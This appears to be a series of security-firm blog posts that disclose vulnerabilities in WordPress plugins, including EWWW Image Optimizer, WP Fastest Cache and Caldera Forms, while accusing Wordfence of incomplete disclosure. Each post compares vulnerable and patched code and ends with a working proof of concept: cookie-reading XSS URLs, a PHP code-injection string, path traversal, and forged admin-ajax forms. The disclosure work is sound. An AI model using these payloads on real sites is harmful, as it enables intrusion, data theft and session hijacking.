28 Jul

Protecting You Against Wordfence’s Bad Practices: Reflected Cross-Site Scripting (XSS) Vulnerability in Easy Forms for MailChimp

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence didn’t provide any description of the vulnerability beyond that it was a reflected cross-site scripting (XSS) vulnerability in Easy Forms for MailChimp version 6.1.2, but it was easy to spot with just that information.

Before we get in to the details of the vulnerability we wanted to highlight something we noticed in their post that seems to speak to them trying present themselves as being more professional than they really are, that also has the (intended?) impact of misleading public as to the severity of the vulnerability discussed.

In the post Wordfence included a severity score for the vulnerability, on a scale of 0-10, with 10 being the highest. The score they gave this vulnerability was “8.8(High)”. The reality is that based on our dealing with lots of hacked website, this vulnerability is very unlikely to be exploited on the average website and all of the major web browsers other than Firefox have long included XSS filtering that would limit the ability to successfully exploit this type of vulnerability if someone were actually to try. If this is high severity vulnerability, it is hard to image what type of vulnerability they would consider even to be of medium severity. Inflating low severity vulnerabilities isn’t helpful to improving the security of WordPress, since if the public doesn’t have a good understanding of what the real risks are they can’t make informed decisions on how to best protect themselves from them.

Strangely Wordfence gave it such a high score despite having mentioned in the paragraph preceding the severity score one of the major limitations of this type of vulnerability:

It is important to note that many modern browsers, such as Chrome and Safari, protect against these types of scripts running on the client side, which diminishes the odds that this vulnerability will be exploited in the wild.

Getting back to the details of the vulnerability, when looking at the changes made in the version that fixed this, 6.1.3, the vulnerability is easy spot.

In the file /admin/partials/menu/options.php in version 6.1.2 the GET input “error_message” is echoed out without escaping it first:

79
<p><?php _e( urldecode( $_GET['error_message'] ) , 'yikes-inc-easy-mailchimp-extender' ); ?></p>

In version 6.1.3 it is now escaped through esc_attr:

79
<p><?php echo esc_attr( urldecode( $_GET['error_message'] ) , 'yikes-inc-easy-mailchimp-extender' ); ?></p>

 

Proof of Concept

The following proof of concept will cause any available cookies to shown in alert box when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin.php?page=yikes-inc-easy-mailchimp-settings&error_log_created=false&error_message=<script>alert(document.cookie);</script>
13 Jul

Protecting You Against Wordfence’s Bad Practices: XSS Vulnerability in All in One SEO Pack

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

The latest in our ongoing series of putting out the details of details of vulnerabilities discovered by Wordfence is good example of why what Wordfence is doing is hurting the security of WordPress plugins. In this case they saw a report of  a persistent cross-site scripting (XSS) vulnerability in the plugin All in One SEO Pack and discovered a similar vulnerability, which is something that often happens we security researchers see reports of vulnerabilities in plugins. The difference is that with that report, like other reports by responsible parties, it included the details of the vulnerabilities, so it was easy for Wordfence to see what the issue was in that case. By Wordfence excluding those details it makes it harder to do the same with vulnerabilities that they have discovered, but through our work on this we have already found two additional security vulnerabilities in the Yoast SEO plugin and one in the WP Fastest Cache plugin.

Wordfence describes this vulnerability as “unauthenticated stored XSS vulnerability allows an attacker to inject javascript code into a page that requires admin privileges to view. When a site admin visits the page, the malicious code that runs can perform administrative actions such as modifying existing user privileges, creating a new admin user or stealing admin session tokens.” and “This exploit only works if the user has enabled the sitemap module in the plugin.”

Looking at the changes made in the version that fixed this, 2.3.8, the first part that stands out is escaping is now done on a debug message for the sitemap module.

In version 2.3.7 the code looked like this (in the file /modules/aioseop_sitemap.php):

if ( $this->option_isset( 'debug' ) ) {
 $options["{$this->prefix}debug"] = '<pre>' . $options["{$this->prefix}debug"] . '</pre>';
}

In version 2.3.8 the value is run through esc_html():

if ( $this->option_isset( 'debug' ) ) {
 $debug_msg = esc_html( $options["{$this->prefix}debug"] );
 $options["{$this->prefix}debug"] = '<pre>' . $debug_msg . '</pre>';
}

So the persistent cross-site scripting (XSS) was occurring in the debug messages, but we still need to find how it could be set by an unauthenticated attacker.

That brings us to other change made in that version, which was to modify the function log_stats().

In version 2.3.7 it looked like this (in the file /modules/aioseop_sitemap.php):

1132
1133
1134
1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
function log_stats( $sitemap_type = 'root', $compressed = false, $dynamic = true ) {
	$time                 = timer_stop();
	$end_memory_usage     = memory_get_peak_usage();
	$sitemap_memory_usage = $end_memory_usage - $this->start_memory_usage;
	$end_memory_usage     = $end_memory_usage / 1024.0 / 1024.0;
	$sitemap_memory_usage = $sitemap_memory_usage / 1024.0 / 1024.0;
	if ( $compressed ) {
		$sitemap_type = __( 'compressed', 'all-in-one-seo-pack' ) . " $sitemap_type";
	}
	if ( $dynamic ) {
		$sitemap_type = __( 'dynamic', 'all-in-one-seo-pack ' ) . " $sitemap_type";
	} else {
		$sitemap_type = __( 'static', 'all-in-one-seo-pack ' ) . " $sitemap_type";
	}
	$this->debug_message( sprintf( ' %01.2f MB memory used generating the %s sitemap in %01.3f seconds, %01.2f MB total memory used.', $sitemap_memory_usage, $sitemap_type, $time, $end_memory_usage ) );
}

In version 2.3.8 it looks like this:

1135
1136
1137
1138
1139
1140
1141
1142
1143
1144
1145
1146
1147
1148
1149
function log_stats( $sitemap_type = 'static', $compressed = false, $dynamic = true ) {
	$time                 = timer_stop();
	$end_memory_usage     = memory_get_peak_usage();
	$sitemap_memory_usage = $end_memory_usage - $this->start_memory_usage;
	$end_memory_usage     = $end_memory_usage / 1024.0 / 1024.0;
	$sitemap_memory_usage = $sitemap_memory_usage / 1024.0 / 1024.0;
	$sitemap_type         = __( 'static', 'all-in-one-seo-pack ' );
	if ( $compressed ) {
		$sitemap_type = __( 'compressed', 'all-in-one-seo-pack' );
	}
	if ( $dynamic ) {
		$sitemap_type = __( 'dynamic', 'all-in-one-seo-pack ' );
	}
	$this>debug_message( sprintf( ' %01.2f MB memory used generating the %s sitemap in %01.3f seconds, %01.2f MB total memory used.', $sitemap_memory_usage, $sitemap_type, $time, $end_memory_usage ) );
}

The key difference being that the value of $sitemap_type, which used in the debug message, is set in the function instead having the possibility of being the value passed to the function.

A little looking over the rest of the code shows why that is important. The function sitemap_output_hook() is made accessible when not logged in to WordPress through the this line:

1041
add_action( 'parse_query', array( $this, 'sitemap_output_hook' ) );

The function sitemap_output_hook() will call the function log_stats() that we just looked at with a user specified value for $sitemap_type set in this line:

1166
$sitemap_type             = $query->query_vars["{$this->prefix}path"];

Since there is no sanitization done at that point, you could have previously sent a request with malicious JavaScript code set to that URL parameter and it would have been shown in debug message on the sitemap module’s page in the admin.

Proof of Concept

The following proof of concept will cause any available cookies to be shown in alert box on the page /wp-admin/admin.php?page=all-in-one-seo-pack%2Fmodules%2Faioseop_sitemap.php.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/?aiosp_sitemap_path=<script>alert(document.cookie);</script>
11 Jul

Protecting You Against Wordfence’s Bad Practices: Remote Code Execution (RCE) Vulnerability in WP Maintenance Mode

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the remote code execution (RCE) vulnerability in WP Maintenance Mode version 2.0.6 as “allows unsanitized user input to be evaluated as PHP code. In WordPress Multisite, a site administrator could exploit this vulnerability to execute shell commands, access sensitive information, escalate privileges or cause denial of service”.

Looking at the changes made between the version we found that this vulnerability related to the setting of Google Analytics tracking code.

One of the relevant changes is that code for saving the inputted value for the the tracking code has been changed in the file /includes/classes/wp-maintenance-mode-admin.php.

Here is the code in 2.0.6:

365
$_POST['options']['modules']['ga_code'] = wp_kses(trim($_POST['options']['modules']['ga_code']), array('script' => array()));

And the code in 2.0.7:

374
$_POST['options']['modules']['ga_code'] = wpmm_sanitize_ga_code($_POST['options']['modules']['ga_code']);

In 2.0.6 the input is run through wp_kses(), which is intended for restricting the usage of HTML elements.

The function wpmm_sanitize_ga_code() used instead in the 2.0.7 version is added in the file /includes/functions/helpers.php:

86
87
88
89
90
function wpmm_sanitize_ga_code($string) {
    preg_match('/UA-\d{4,10}(-\d{1,4})?/', $string, $matches);
 
    return isset($matches[0]) ? $matches[0] : '';
}

That severely limits what can be saved versus wp_kses().

When the input is outputted it was done this was in 2.0.6 (in the file /includes/classes/wp-maintenance-mode.php):

43
44
45
46
// Google Analytics tracking script
if (!empty($this->plugin_settings['modules']['ga_status']) &amp;&amp; $this->plugin_settings['modules']['ga_status'] == 1 &amp;&amp; !empty($this->plugin_settings['modules']['ga_code'])) {
	add_action('wpmm_head', create_function('', 'echo "' . stripslashes($this->plugin_settings['modules']['ga_code']) . '";'));
}

You can see that the tracking code input is now intended to be echoed out, but with the right sequence of characters you can set it to have additional PHP code run. That would look something like

“; phpinfo(); “

In 2.0.7 the code has been changed to:

43
44
// Google Analytics tracking script
add_action('wpmm_head', array($this, 'google_analytics_code'));

Which calls the new function google_analytics_code():

691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
public function google_analytics_code() {
	// check if module is activated and code exists
	if (
			empty($this->plugin_settings['modules']['ga_status']) ||
			$this->plugin_settings['modules']['ga_status'] != 1 ||
			empty($this->plugin_settings['modules']['ga_code'])
	) {
		return false;
	}
 
	// sanitize code
	$ga_code = wpmm_sanitize_ga_code($this->plugin_settings['modules']['ga_code']);
	if (empty($ga_code)) {
		return false;
	}
 
	// show google analytics javascript snippet
	include_once(WPMM_VIEWS_PATH . 'google-analytics.php');
}

The user input is again run through the function wpmm_sanitize_ga_code(), preventing the possibility that PHP code is included.

Proof of Concept

While logged in as an administrator, on the plugin’s setting page enabled the maintenace mode and set the “Tracking code” setting (on the Modules page) to “”; phpinfo(); “”. When not logged in the frontend of the website will now display the PHP info displayed by phpinfo();

11 Jul

Protecting You Against Wordfence’s Bad Practices: Missing Authorization Vulnerability in WP Maintenance Mode

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the missing authorization vulnerability in WP Maintenance Mode version 2.0.6 as “This vulnerability allows an attacker with a subscriber level account to modify plugin settings.”.

Like the information disclosure vulnerability that Wordfence mentions in the same post, what we found is that it didn’t actually exist in version 2.0.6. It had existed as of version 2.0.3 and had been fixed in 2.0.4. Strangely both of them had been fixed before Wordfence claims to have even contacted the developer about the vulnerabilities.

In version 2.0.3 the function reset_settings() was accessible through AJAX (in the file /includes/classes/wp-maintenance-mode-admin.php):

add_action('wp_ajax_wpmm_reset_settings', array($this, 'reset_settings'));

That would make it accessible to anyone logged in to WordPress, so a check needs to be done to insure an intended user is doing that, but no check was done:

130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
public function reset_settings() {
	if (empty($_REQUEST['tab'])) {
		return false;
	}
	$tab = $_REQUEST['tab'];
 
	if (empty($this->plugin_default_settings[$tab])) {
		return false;
	}
 
	// OPTIONS UPDATE
	$this->plugin_settings[$tab] = $this>plugin_default_settings[$tab];
	update_option('wpmm_settings', $this->plugin_settings);
 
	wp_send_json(array('success' => 1));
}

In version 2.0.4 the function first checks to make sure the user trying to access the function can manage_options, which is a capability only Administrators normally have:

177
178
179
180
181
182
public function reset_settings() {
	try {
		// check capabilities
		if (!current_user_can('manage_options')) {
			throw new Exception(__('You do not have access to this resource.', $this->plugin_slug));
		}

It is worth noting that Wordfence excluded the important detail that the user can only reset the settings to their default values and can not otherwise change them.

Proof of Concept

The following proof of concept will reset the plugin’s settings, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpmm_reset_settings
11 Jul

Protecting You Against Wordfence’s Bad Practices: Information Disclosure Vulnerability in WP Maintenance Mode

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the information disclosure vulnerability in WP Maintenance Mode version 2.0.6 as “allows a remote attacker to download the list of subscribers from WP Maintenance Mode who have asked to be notified when a site returns to full functionality. To exploit this vulnerability, an attacker simply needs to have a registered account on the victim site with no special permissions.”.

First off, most WordPress website don’t allow the public to create accounts, so saying the attacker “simply needs to have a registered account on the victim site” seems to be misleading at best.

When we went to look for the vulnerability we had a pretty good idea of where it should be, as with this type of issue usually there is a function accessible through AJAX that does not contain the proper checks to make only those intended to access it can. In version 2.0.6 of the plugin, in the file /includes/classes/wp-maintenance-mode-admin.php, we found what seemed to be the relevant function being registered for AJAX access:

41
add_action('wp_ajax_wpmm_subscribers_export', array($this, 'subscribers_export'));

But the connected function was already checking to make sure that lower level users could not access the function by exiting if the user cannot manage_options, which only Administrator level users normally have access to:

117
118
119
120
121
122
123
124
125
126
public function subscribers_export() {
	global $wpdb;
 
	try {
		// check capabilities
		if (!current_user_can('manage_options')) {
			throw new Exception(__('You do not have access to this resource.', $this->plugin_slug));
		}
 
		// get subscribers and export

At that point we went looking for something else that could do this particular export and came up empty. Looking at the changes made between 2.0.6 and 2.0.7 didn’t show any changes that would match this vulnerability. We then went back and found the code that checks the user’s capability was added in version 2.0.4. You can see that in version 2.0.3, the function’s code starts without any check first:

104
105
106
107
public function subscribers_export() {
	global $wpdb;
 
	$results = $wpdb->get_results("SELECT email, insert_date FROM {$wpdb->prefix}wpmm_subscribers ORDER BY id_subscriber DESC", ARRAY_A);

Not only did Wordfence claim the vulnerability was in version 2.0.6, which it wasn’t, but they claimed they notified the developer of the vulnerabilities in the week of June 26 – July 2. Version 2.0.4 was released on June 16, so something is not right here.

Proof of Concept

The following proof of concept will download the subscriber list, when logged in to WordPress.

Make sure to replace “[path to WordPress]” with the location of WordPress.

http://[path to WordPress]/wp-admin/admin-ajax.php?action=wpmm_subscribers_export
10 Jun

Protecting You Against Wordfence’s Bad Practices: Authenticated Remote Code Execution (RCE) Vulnerability in EWWW Image Optimizer

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in EWWW Image Optimizer version 2.8.3 as a “Remote Command Execution vulnerability which an attacker can exploit on multisite WordPress installations to gain complete control of a WordPress site”.

The first relevant changes in the next version was to restrict changing settings on multisite based website to those who can “manage_option” and are sending an appropriate nonce.

Here is the code in 2.8.3:

56
57
58
if ( is_multisite() && is_plugin_active_for_network( EWWW_IMAGE_OPTIMIZER_PLUGIN_FILE_REL ) ) {
 // set the binary-specific network settings if they have been POSTed
 if ( isset( $_POST['ewww_image_optimizer_delay'] ) ) {

And the code in 2.8.4:

56
57
58
 if ( is_multisite() && is_plugin_active_for_network( EWWW_IMAGE_OPTIMIZER_PLUGIN_FILE_REL ) ) {
 // set the binary-specific network settings if they have been POSTed
 if ( isset( $_POST['ewww_image_optimizer_delay'] ) && current_user_can( 'manage_options' ) && wp_verify_nonce( $_REQUEST['_wpnonce'], 'ewww_image_optimizer_options-options' ) ) {

For a couple of the settings that then could be updated by users that were intended to be able to do so, the code now make sure only integers (ints) can be their value.

Here is the code in 2.8.3:

63
64
update_site_option( 'ewww_image_optimizer_optipng_level', $_POST['ewww_image_optimizer_optipng_level'] );
update_site_option( 'ewww_image_optimizer_pngout_level', $_POST['ewww_image_optimizer_pngout_level'] );

And the code in 2.8.4:

65
66
 update_site_option( 'ewww_image_optimizer_optipng_level', (int) $_POST['ewww_image_optimizer_optipng_level'] );
update_site_option( 'ewww_image_optimizer_pngout_level', (int) $_POST['ewww_image_optimizer_pngout_level'] );

Finally we get to where the remote code execution would occur. The value of those previously mentioned settings are used in several  exec() functions in the plugin. One example is below.

Here is the code in 2.8.3:

1585
1586
1587
1588
1589
1590
1591
1592
1593
1594
1595
1596
 // retrieve the optipng optimization level
 $optipng_level = ewww_image_optimizer_get_option('ewww_image_optimizer_optipng_level');
 if (ewww_image_optimizer_get_option( 'ewww_image_optimizer_jpegtran_copy' ) && preg_match( '/0.7/', ewww_image_optimizer_tool_found( $tools['OPTIPNG'], 'o' ) ) && ! $keep_metadata ) {
 $strip = '-strip all ';
 } else {
 $strip = '';
 }
 // if the PNG file was created
 if ( file_exists( $pngfile ) ) {
 ewwwio_debug_message( 'optimizing converted PNG with optipng' );
 // run optipng on the new PNG
 exec( "$nice " . $tools['OPTIPNG'] . " -o$optipng_level -quiet $strip " . ewww_image_optimizer_escapeshellarg( $pngfile ) );

And the code in 2.8.4

1591
1592
1593
1594
1595
1596
1597
1598
1599
1600
1601
1602
// retrieve the optipng optimization level
$optipng_level = (int) ewww_image_optimizer_get_option('ewww_image_optimizer_optipng_level');
if (ewww_image_optimizer_get_option( 'ewww_image_optimizer_jpegtran_copy' ) && preg_match( '/0.7/', ewww_image_optimizer_tool_found( $tools['OPTIPNG'], 'o' ) ) && ! $keep_metadata ) {
 $strip = '-strip all ';
} else {
 $strip = '';
}
// if the PNG file was created
if ( file_exists( $pngfile ) ) {
 ewwwio_debug_message( 'optimizing converted PNG with optipng' );
 // run optipng on the new PNG
 exec( "$nice " . $tools['OPTIPNG'] . " -o$optipng_level -quiet $strip " . ewww_image_optimizer_escapeshellarg( $pngfile ) );

As in the previous posts in this series, Wordfence excluded the important fact that the attacker needs to be logged in to WordPress to exploit this, which limits the severity of the vulnerability. It also looks like the remote code execution can only occur if a PNG file is run through the plugin’s optimization function.

Proof of Concept

The following proof of concept will change the value of the settings ewww_image_optimizer_optipng_level and ewww_image_optimizer_pngout_level to “malicious code”, which can be confirmed in the wp_sitemeta table of the website’s database.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="ewww_image_optimizer_delay" value="add_new_album" />
<input type="hidden" name="ewww_image_optimizer_optipng_level" value="malicious code" />
<input type="hidden" name="ewww_image_optimizer_pngout_level" value="malicious code" />
<input type="submit" value="Submit" />
</form>
</body>
</html>
26 May

Protecting You Against Wordfence’s Bad Practices: Local File Inclusion Vulnerability in WP Fastest Cache

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in WP Fastest Cache version 0.8.5.7 as “The Local File Inclusion vulnerability allows an attacker to execute code on the target web server or on a site visitor’s browser. This enables the attacker to steal or manipulate data, perform a denial of service attack or enable additional attack types such as Cross Site Scripting.”

The relevant change in the next version was to restrict the AJAX accessible function wpfc_cdn_template_ajax_request_callback() to Administrator level users in the file /wpFastestCache.php .

Code in 0.8.5.7:

318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
public function wpfc_cdn_template_ajax_request_callback(){
	ob_start();
	include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");
	$content = ob_get_contents();
	ob_end_clean();
 
	$res = array("success" =&gt; false, "content" =&gt; "");
 
	if($data = @file_get_contents(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php")){
		$res["success"] = true;
		$res["content"] = $content;
	}
 
	echo json_encode($res);
	exit;
}

Code in 0.8.5.8:

327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
public function wpfc_cdn_template_ajax_request_callback(){
	if(current_user_can('manage_options')){
		ob_start();
		include_once(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php");
		$content = ob_get_contents();
		ob_end_clean();
 
		$res = array("success" =&gt; false, "content" =&gt; "");
 
		if($data = @file_get_contents(WPFC_MAIN_PATH."templates/cdn/".$_POST["id"].".php")){
			$res["success"] = true;
			$res["content"] = $content;
		}
 
		echo json_encode($res);
		exit;
	}else{
		wp_die("Must be admin");
	}
}

Wordfence’s description notably doesn’t mention that the attacker needs to be logged in to WordPress to exploit this, which severely limits the severity of the vulnerability.

Proof of Concept

The following proof of concept will cause a file named test.php located in the root directory of the WordPress installation to be included.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress

<html>
 <body>
 <form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
 <input type="hidden" name="action" value="wpfc_cdn_template_ajax_request" />
 <input type="hidden" name="id" value="../../../../../test" />
 <input type="submit" value="Submit" />
 </form>
 </body>
</html>
25 May

Protecting You Against Wordfence’s Bad Practices: Unauthorized Options Update Vulnerability in WP Fastest Cache

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in WP Fastest Cache version 0.8.5.7 as “The Options Update vulnerability allows an attacker to access and make changes to the CDN (Content Delivery Network) options for the website. With this control an attacker can direct all requests for css files, images, videos, etc. to their site, allowing them to serve malicious content to visitors of the vulnerable site.”

The relevant change in the next version was to restrict the AJAX accessible function wpfc_save_cdn_integration_ajax_request_callback() to Administrator level users in the file /wpFastestCache.php .

Code in 0.8.5.7:

335
336
337
338
339
340
341
342
343
344
public function wpfc_save_cdn_integration_ajax_request_callback(){
	$values = json_encode($_POST["values"]);
	if(get_option("WpFastestCacheCDN")){
		update_option("WpFastestCacheCDN", $values);
	}else{
		add_option("WpFastestCacheCDN", $values, null, "yes");
	}
	echo json_encode(array("success" =&gt; true));
	exit;
}

Code in 0.8.5.8:

348
349
350
351
352
353
354
355
356
357
358
359
360
361
public function wpfc_save_cdn_integration_ajax_request_callback(){
	if(current_user_can('manage_options')){
		$values = json_encode($_POST["values"]);
		if(get_option("WpFastestCacheCDN")){
			update_option("WpFastestCacheCDN", $values);
		}else{
			add_option("WpFastestCacheCDN", $values, null, "yes");
		}
		echo json_encode(array("success" =&gt; true));
		exit;
	}else{
		wp_die("Must be admin");
	}
}

Wordfence’s description notably doesn’t mention that the attacker needs to be logged in to WordPress to exploit this, which severely limits the severity of the vulnerability.

Proof of Concept

The following proof of concept will set the CDN URL to example.com.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress

<html>
 <body>
 <form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
 <input type="hidden" name="action" value="wpfc_save_cdn_integration_ajax_request" />
 <input type="hidden" name="values[success]" value="false" />
 <input type="hidden" name="values[id]" value="other" />
 <input type="hidden" name="values[cdnurl]" value="example.com" />
 <input type="hidden" name="values[originurl]" value="" />
 <input type="hidden" name="values[file_types]" value="css,js,gif,png,jpg,jpeg,ttf,otf,woff,less,mp4,svg,eot" />
 <input type="hidden" name="file_types" value="css,js,gif,png,jpg,jpeg,ttf,otf,woff,less,mp4,svg,eot" />
 <input type="submit" value="Submit" />
 </form>
 </body>
</html>
25 May

Protecting You Against Wordfence’s Bad Practices: Sensitive Data Exposure Vulnerability in Caldera Forms

Wordfence is putting WordPress website at risk by disclosing vulnerabilities in plugins with critical details needed to double check their work missing, in what appears to be an attempt to profit off of these vulnerabilities. We are releasing those details so that others can review the vulnerabilities to try to limit the damage Wordfence’s practice could cause.

Wordfence describes the vulnerability in Caldera Forms version 1.3.5.2 as “This vulnerability allows an attacker to gain access to potentially sensitive data that has been captured by a Caldera Form.”

The relevant change in the next version was to restrict certain AJAX functions to Administrator level users in the file /classes/admin.php.

Code in 1.3.5.2:

96
97
98
99
100
add_action("wp_ajax_toggle_form_state", array( $this, 'toggle_form_state') );
add_action("wp_ajax_browse_entries", array( $this, 'browse_entries') );		
add_action("wp_ajax_save_cf_setting", array( $this, 'save_cf_setting') );
add_action("wp_ajax_cf_dismiss_pointer", array( $this, 'update_pointer') );
add_action("wp_ajax_cf_bulk_action", array( $this, 'bulk_action') );

Code in 1.3.5.3:

96
97
98
99
100
101
102
if( current_user_can( Caldera_Forms::get_manage_cap( 'admin' ) ) ) {
	add_action( "wp_ajax_toggle_form_state", array( $this, 'toggle_form_state' ) );
	add_action( "wp_ajax_browse_entries", array( $this, 'browse_entries' ) );
	add_action( "wp_ajax_save_cf_setting", array( $this, 'save_cf_setting' ) );
	add_action( "wp_ajax_cf_dismiss_pointer", array( $this, 'update_pointer' ) );
	add_action( "wp_ajax_cf_bulk_action", array( $this, 'bulk_action' ) );
}

Wordfence’s description notably doesn’t mention that the attacker needs to be logged in to WordPress to exploit this, which severely limits the severity of the vulnerability.

The plugin developer also added the following code to check nonce’s to the functions update_pointer(), save_cf_setting(), and browse_entries():

self::verify_ajax_action();

Proof of Concept

The following proof of concept will show the entries for a form.

Make sure you are logged in to WordPress, ideally as a subscriber since they have the least capabilities. Also, make sure to replace “[path to WordPress]” with the location of WordPress and “[form id]” with the ID of the gallery you want to view the entries for (the form id can be found on the form’s page on the frontend).

<html>
 <body>
 <form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
 <input type="hidden" name="action" value="browse_entries" />
 <input type="hidden" name="form" value="[form id]" />
 <input type="submit" value="Submit" />
 </form>
 </body>
</html>